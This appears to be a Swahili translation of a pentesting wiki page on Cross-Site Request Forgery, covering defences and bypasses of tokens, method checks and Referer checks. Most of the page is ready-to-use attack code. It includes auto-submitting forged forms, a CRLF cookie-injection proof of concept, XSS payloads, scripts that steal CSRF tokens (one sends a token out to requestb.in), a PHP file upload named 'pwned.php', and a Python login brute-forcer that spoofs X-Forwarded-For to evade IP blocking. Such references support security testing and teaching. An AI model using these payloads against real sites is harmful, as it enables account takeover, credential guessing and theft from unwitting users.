CSRF (Cross Site Request Forgery)

Reading time: 18 minutes

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) ni aina ya udhaifu wa usalama inayopatikana katika web applications. Inaruhusu watapeli kufanya vitendo kwa niaba ya watumiaji wasiofahamu kwa kutumia vikao vyao vilivyoidhinishwa. Shambulio hufanyika wakati mtumiaji aliyeingia kwenye jukwaa la mwathirika anapotembelea tovuti yenye madhara. Tovuti hii kisha inaanzisha maombi kwa akaunti ya mwathirika kupitia njia kama kutekeleza JavaScript, kutuma forms, au kupakua images.

Prerequisites for a CSRF Attack

Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kukidhiwa:

1. Identify a Valuable Action: Mshambuliaji anahitaji kupata kitendo chenye thamani ya kuchukuliwa, kama kubadilisha nywila (password) ya mtumiaji, barua pepe (email), au kuongeza privileges.
2. Session Management: Kikao cha mtumiaji kinapaswa kusimamiwa tu kupitia cookies au header ya HTTP Basic Authentication, kwani headers nyingine haziwezi kudhibitiwa kwa madhumuni haya.
3. Absence of Unpredictable Parameters: Ombi halipaswi kuwa na vigezo visivyo tabirika (unpredictable parameters), kwani vinaweza kuzuia shambulio.

Quick Check

Unaweza capture the request in Burp na kukagua ulinzi wa CSRF; pia kwa kujaribu kutoka kivinjari unaweza kubofya Copy as fetch na kukagua ombi:

Defending Against CSRF

Mbinu kadhaa za kujikinga zinaweza kutumika kuzuia mashambulio ya CSRF:

• SameSite cookies: Sifa hii inazuia kivinjari kutuma cookies pamoja na maombi ya cross-site. More about SameSite cookies.
• Cross-origin resource sharing: Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma response kutoka tovuti ya mwathirika. Learn about CORS bypass.
• User Verification: Kuomba nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
• Checking Referrer or Origin Headers: Kuthibitisha headers hizi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyoaminika. Hata hivyo, uundaji makini wa URL unaweza kuepuka ukaguzi usiofanywa vizuri, kama vile:
• Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
• Using http://example.com.mal.net (URL starts with the trusted URL)
• Modifying Parameter Names: Kubadilisha majina ya vigezo katika POST au GET requests kunaweza kusaidia kuzuia mashambulizi yaliyopangwa.
• CSRF Tokens: Kuingiza token ya CSRF ya kipekee katika kila session na kuhitaji token hii katika maombi ya baadaye kunaweza kupunguza kwa kiasi kikubwa hatari ya CSRF. Ufanisi wa token unaweza kuongezwa kwa kutekeleza CORS.

Kuelewa na kutekeleza kinga hizi ni muhimu kwa kudumisha usalama na uadilifu wa web applications.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Baadhi ya applications zinatekeleza uthibitishaji wa CSRF tu kwa POST huku zikiruhusu verbs nyingine bila kuthibitisha. Anti-pattern ya kawaida katika PHP inaonekana kama:

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Ikiwa endpoint iliyoko dhaifu inakubali pia vigezo kutoka $_REQUEST, unaweza kuanzisha tena hatua ileile kama ombi la GET na kuondoa kabisa CSRF token. Hii inabadilisha kitendo kilichokengeuzwa kwa POST kuwa kitendo cha GET kinachofanikiwa bila token.

Example:

• Original POST with token (intended):

POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]

• Bypass by switching to GET (no token):

GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

• Mfumo huu mara nyingi huonekana pamoja na reflected XSS ambapo majibu hutumwa vibaya kama text/html badala ya application/json.
• Kuunganisha hili na XSS kunapunguza sana vizingiti vya unyonyaji kwa sababu unaweza kuwasilisha kiungo kimoja cha GET kinachosababisha njia ya msimbo iliyo dhaifu na pia kuepuka ukaguzi wa CSRF kabisa.

Lack of token

Programu zinaweza kutekeleza utaratibu wa thibitisha tokens wakati zinapokuwepo. Hata hivyo, udhaifu unatokea ikiwa uthibitishaji unarukwa kabisa wakati token haipo. Wadukuzi wanaweza kuchukua fursa ya hili kwa kuondoa parameter inayobeba token, si tu thamani yake. Hii inawaruhusu kupita kwenye mchakato wa uthibitishaji na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.

CSRF token is not tied to the user session

Programu zinazokosa kufunga CSRF tokens kwa sessions za watumiaji zinaonyesha hatari kubwa ya usalama. Mifumo hii inathibitisha tokens dhidi ya global pool badala ya kuhakikisha kila token imefungwa kwa session iliilochochea.

Hivi ndivyo wadukuzi wanavyofaidika na hili:

1. Jithibitishie kwa kutumia akaunti yao.
2. Pata CSRF token halali kutoka global pool.
3. Tumia token hii katika shambulio la CSRF dhidi ya mhanga.

Udhaifu huu unawawezesha wadukuzi kufanya maombi yasiyoruhusiwa kwa niaba ya mhanga, kwa kuchukua faida ya utaratibu usiofaa wa uthibitishaji wa token.

Method bypass

Ikiwa ombi linatumia "weird" method, angalia kama method override functionality inafanya kazi. Kwa mfano, ikiwa inatumia PUT method unaweza kujaribu kutumia POST method na kutuma: https://example.com/my/dear/api/val/num?_method=PUT

Hii pia inaweza kufanya kazi kwa kutuma _method parameter inside the a POST request au kwa kutumia headers:

• X-HTTP-Method
• X-HTTP-Method-Override
• X-Method-Override

Custom header token bypass

Ikiwa ombi linaongeza a custom header yenye token kwenye ombi kama CSRF protection method, basi:

• Jaribu ombi bila Customized Token and also header.
• Jaribu ombi kwa ule ule urefu lakini token tofauti.

CSRF token is verified by a cookie

Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na pia parameter ya ombi au kwa kuweka CSRF cookie na kuthibitisha kama token iliyotumwa kwa backend inaendana na cookie. Programu inathibitisha maombi kwa kuangalia kama token katika parameter ya ombi inalingana na thamani ya cookie.

Hata hivyo, njia hii ni nyeti kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazoruhusu mshambuliaji kuweka CSRF cookie katika kivinjari cha mhanga, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.

Chini ni mfano wa jinsi shambulio linaweza kujengwa:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Mabadiliko ya Content-Type

Kwa mujibu wa this, ili kuepuka preflight requests zinapotumia method ya POST, haya ni maadili ya Content-Type yaliyoruhusiwa:

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

Hata hivyo, kumbuka kwamba mantiki ya seva inaweza kutofautiana kulingana na Content-Type inayotumika, hivyo unapaswa kujaribu maadili yaliyotajwa na mengine kama application/json,text/xml, application/xml.

Mfano (from here) wa kutuma data ya JSON kama text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Kuepuka Maombi ya Preflight kwa Data ya JSON

Unapojaribu kutuma data ya JSON kupitia POST request, kutumia Content-Type: application/json katika fomu ya HTML siyo moja kwa moja inawezekana. Vivyo hivyo, kutumia XMLHttpRequest kutuma aina hii ya maudhui kunaanzisha preflight request. Hata hivyo, kuna mbinu zinazoweza kujaribu kuepuka kikomo hiki na kuangalia kama server inasindika data ya JSON bila kujali Content-Type:

1. Tumia Aina Mbadala za Content-Type: Tumia Content-Type: text/plain au Content-Type: application/x-www-form-urlencoded kwa kuweka enctype="text/plain" kwenye fomu. Njia hii inajaribu kama backend inatumia data bila kujali Content-Type.
2. Badilisha Content Type: Ili kuepuka preflight request wakati ukihakikisha server inatambua maudhui kama JSON, unaweza kutuma data na Content-Type: text/plain; application/json. Hii haitasababisha preflight request lakini inaweza kushughulikiwa ipasavyo na server ikiwa imewekwa kukubali application/json.
3. Matumizi ya faili za SWF Flash: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kuepuka vikwazo hivi. Kwa ufahamu wa kina wa mbinu hii, rejea this post.

Kuepuka ukaguzi wa Referrer / Origin

Epuka header ya Referer

Maombi yanaweza kuthibitisha header ya 'Referer' tu pale inapokuwepo. Ili kuzuia browser kutuma header hii, tagu ya meta ya HTML ifuatayo inaweza kutumika:

<meta name="referrer" content="never">

Hii inahakikisha kuwa 'Referer' header haipo, na hivyo inaweza kupitisha ukaguzi wa uthibitisho katika baadhi ya programu.

Regexp bypasses

URL Format Bypass

Ili kuweka jina la kikoa la server katika URL ambalo Referrer atalituma ndani ya parameta, unaweza kufanya:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Sehemu ya kwanza ya this CTF writeup inaeleza kwamba Oak's source code, router imewekwa ili handle HEAD requests as GET requests bila response body - workaround ya kawaida ambayo sio ya Oak pekee. Badala ya handler maalum inayoshughulikia HEAD reqs, zinapelekwa tu kwa GET handler lakini app inafuta response body.

Kwa hiyo, ikiwa GET request inazuiliwa, unaweza tu send a HEAD request that will be processed as a GET request.

Exploit Examples

Exfiltrating CSRF Token

Ikiwa CSRF token inatumiwa kama defence unaweza kujaribu exfiltrate it kwa kutumia udhaifu wa XSS au udhaifu wa Dangling Markup vulnerability.

GET using HTML tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Tagi nyingine za HTML5 ambazo zinaweza kutumika kutuma ombi la GET moja kwa moja ni:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Ombi la Fomu GET

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ombi la POST la fomu

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Ombi la POST la fomu kupitia iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST request

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST request

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST ombi v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Ombi la POST la fomu kutoka ndani ya iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Kuwaiba CSRF Token na tuma POST request

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Kuiba CSRF Token na kutuma Post request kwa kutumia iframe, form na Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Kuiba CSRF Token na kutuma POST request kwa kutumia iframe na form

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Kunyang'anya token na kuituma ukitumia 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token kwa Ajax na tuma post kwa form

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF na Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Msimbo unaweza kutumika kufanya Brute Force kwenye fomu ya login kwa kutumia token ya CSRF (Pia inatumia header X-Forwarded-For kujaribu kuipita blacklisting ya IP inayowezekana):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Vifaa

• https://github.com/0xInfection/XSRFProbe
• https://github.com/merttasci/csrf-poc-generator

Marejeo

• https://portswigger.net/web-security/csrf
• https://portswigger.net/web-security/csrf/bypassing-token-validation
• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/